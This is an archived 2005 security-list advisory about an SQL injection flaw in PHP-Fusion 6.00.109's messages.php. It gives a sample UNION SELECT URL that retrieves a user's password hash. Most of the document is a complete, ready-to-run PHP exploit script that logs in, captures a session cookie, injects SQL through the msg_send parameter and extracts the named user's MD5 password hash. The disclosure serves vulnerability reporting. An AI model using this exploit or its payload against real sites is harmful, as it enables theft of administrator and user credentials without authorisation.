[UNIX] PHP-Fusion msg_send SQL Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/05

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      PHP-Fusion msg_send SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.php-fusion.co.uk/> PHP-Fusion - "A light-weight open-source
    content management system (CMS) written in PHP. It utilizes a MySQL
    database to store your site content and includes a simple, comprehensive
    administration system."

    An SQL Injection vulnerability has been discovered in PHP-Fusion's
    messages.php script.

    DETAILS

    Vulnerable Systems:
     * PHP-Fusion version 6.00.109

    If magic_quotes set to off, PHP-Fusion vulnerable to SQL Injection.

    Example:
    http://[target]/[path_to_Php_Fusion]/messages.php?msg_send=' UNION SELECT
    user_password FROM fusion_users WHERE user_name='[admin_username]'/*

    Now hash will be showed in "To:" field when you post a private message.

    Exploit:
    <?php
    # 19.17 28/09/2005 #
    # #
    # -- PhpF6_00_109xpl.php #
    # #
    # PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure
    #
    # #
    # by rgod #
    # site: http://rgod.altervista.org #
    # #
    # mphhh, private messages again...tze,tze #
    # #
    # make these changes in php.ini if you have troubles #
    # to launch this script: #
    # allow_call_time_pass_reference = on #
    # register_globals = on #
    # #
    # usage: launch this script from Apache, fill requested fields, then #
    # go! #
    # #
    # Sun-Tzu: "Therefore the clever combatant imposes his will on the enemy,
    #
    # but does not allow the enemy's will to be imposed on him" #

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout", 2);
    ob_implicit_flush (1);

    echo'<head><title> *** PHP-Fusion v6.00.109 SQL Injection *** </title>
    <meta
    http-equiv= "Content-Type" content="text/html; charset=iso-8859-1"> <style
    type="text/css"><!-- body,td,th {color:#00FF00;} body{background-color:
    #000000;}
    Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size:
    10px; }
    Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:
    bold;
    font-style: italic; } --> </style></head><body> <p class="Stile6">
    Php-Fusion v6.
    00.109 SQL Injection / admin|user credentials disclosure </p><p
    class="Stile6">
    a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
    http://rgod.altervista.org></p><table width="84%"><tr><td width="43%">
    <form
    name="form1" method="post"
    action="'.$SERVER[PHP_SELF].'?path=value&host=value
    &port=value&proxy=value&user=value&pass=value&username=value"> <p> <input
    type="text" name="host"><span class="Stile5"> hostname ( ex:
    www.sitename.com )
    </span></p> <p> <input type="text" name="path"><span class="Stile5"> path
    (ex:
    /phpfusion/ or just /)</span></p><p> <input type="text" name="port"> <span
    class="Stile5">specify a port other than 80 (default value)</span></p><p>
    <input
    type="text" name="user"> <span class="Stile5">your username </span> </p>
    <p>
    <input type="text" name="pass"> <span class="Stile5">your password ( to
    get a
    valid session cookie) </span></p><p><input type="text" name="username">
    <span
    class="Stile5">user whom you want the password </span></p><p><input
    type="text"
    name="proxy"> <span class="Stile5"> send exploit trough an HTTP proxy
    </span>
    </p> <p> <input type="submit"name="Submit" value="go!"> </p></form> </td>
    </tr>
    </table></body></html>';

    function show($headeri)
    {
    $ii=0;
    $ji=0;
    $ki=0;
    $ci=0;
    echo '<table border="0"><tr>';
    while ($ii <= strlen($headeri)-1)
    {
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
           $ji=0;
           $ci++;
           echo "<td> </td>";
           for ($li=0; $li<=15; $li++)
               { echo "<td>".$headeri[$li+$ki]."</td>";
      }
          $ki=$ki+16;
          echo "</tr><tr>";
          }
    if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
    {echo "<td>".$datai."</td> ";}
    $ii++;
    $ji++;
    }
    for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
               { echo "<td>&nbsp&nbsp</td>";
                }

    for ($li=$ci*16; $li<=strlen($headeri); $li++)
               { echo "<td>".$headeri[$li]."</td>";
      }
    echo "</tr></table>";
    }

    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

    function sendpacket()
    {
    global $proxy, $host, $port, $html, $packet;
    if ($proxy=='')
          {$ock=fsockopen(gethostbyname($host),$port);}
           else
          {
      if (!eregi($proxy_regex,$proxy))
      {echo htmlentities($proxy).' -> not a valid proxy...';
       die;
      }
      $parts=explode(':',$proxy);
          echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
          $ock=fsockopen($parts[0],$parts[1]);
      if (!$ock) { echo 'No response from proxy...';
    die;
        }
      }
    fputs($ock,$packet);
    if ($proxy=='')
     {
      $html='';
      while (!feof($ock))
       {
        $html.=fgets($ock);
       }
     }
    else
     {
      $html='';
      while ((!feof($ock)) or
    (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
      {
       $html.=fread($ock,2048);
      }
     }
    fclose($ock);
    echo nl2br(htmlentities($html));
    }

    if (($path<>'') and ($host<>'') and ($user<>'') and ($pass<>'') and
    ($username<>''))
    {
     if ($port=='') {$port=80;}

    #STEP 1 -> login, to retrieve a session cookie...

    $data="user_name=".urlencode(trim($user)).
    "&user_pass=".urlencode(trim($pass))."&login=Login";
    if ($proxy=='')
    {$packet="POST ".$path."news.php HTTP/1.1\r\n";}
    else
    {$packet="POST http://".$host.$path."news.php HTTP/1.1\r\n";}

    $packet="Referer: http://".$host.$path."/news.php\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept-Encoding: gzip, deflate\r\n";
    $packet.="User-Agent: Googlebot/2.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Keep-Alive\r\n";
    $packet.="Cache-Control: no-cache\r\n";
    $packet.="Cookie: fusion_visited=yes;
    PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
    $packet.=$data;
    show($packet);
    sendpacket($packet);
    $temp=explode("Set-Cookie: ",$html);
    $temp2=explode(' ',$temp[1]);
    $cookie=$temp2[0];
    echo '<br>Your cookie: '.htmlentities($cookie);

    # STEP 2 -> SQL Injection, now retrieve the MD5 password hash from
    database
    $username=str_replace("'","",$username);
    $sql="' UNION SELECT user_password FROM fusion_users WHERE
    user_name='".trim($username)."'/*";

    if ($proxy=='')
    {$packet="GET ".$path."messages.php?msg_send=".urlencode($sql)."
    HTTP/1.1\r\n";}
    else
    {$packet="GET
    http://".$host.$path."messages.php?msg_send=".urlencode($sql)."
    HTTP/1.1\r\n";}

    $packet.="User-Agent: GameBoy, Powered by Nintendo\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
    image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6,
    *;q=0.1\r\n";
    $packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
    $packet.="Cookie: ".$cookie."\r\n";
    $packet.="Cookie2: \$Version=1\r\n";
    $packet.="Connection: Keep-Alive, TE\r\n";
    $packet.="TE: deflate, gzip, chunked, identity, trailers\r\n\r\n";
    show($packet);
    sendpacket($packet);
    if (eregi('For Members only',$html)) {echo 'You have to specify a valid
    session cookie...'; die; }
    $temp=explode("'Click to view the senders profile'>",$html);
    $temp2=explode("</a>",$temp[1]);
    $hash=$temp2[0];
    echo '<br>Username: '.htmlentities($username).' Password hash: '.$hash;

    }
    else
    { echo '<br> Fill requested fields, optionally specify a proxy...';}

    ?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:retrogod@aliceposta.it>
    rgod.

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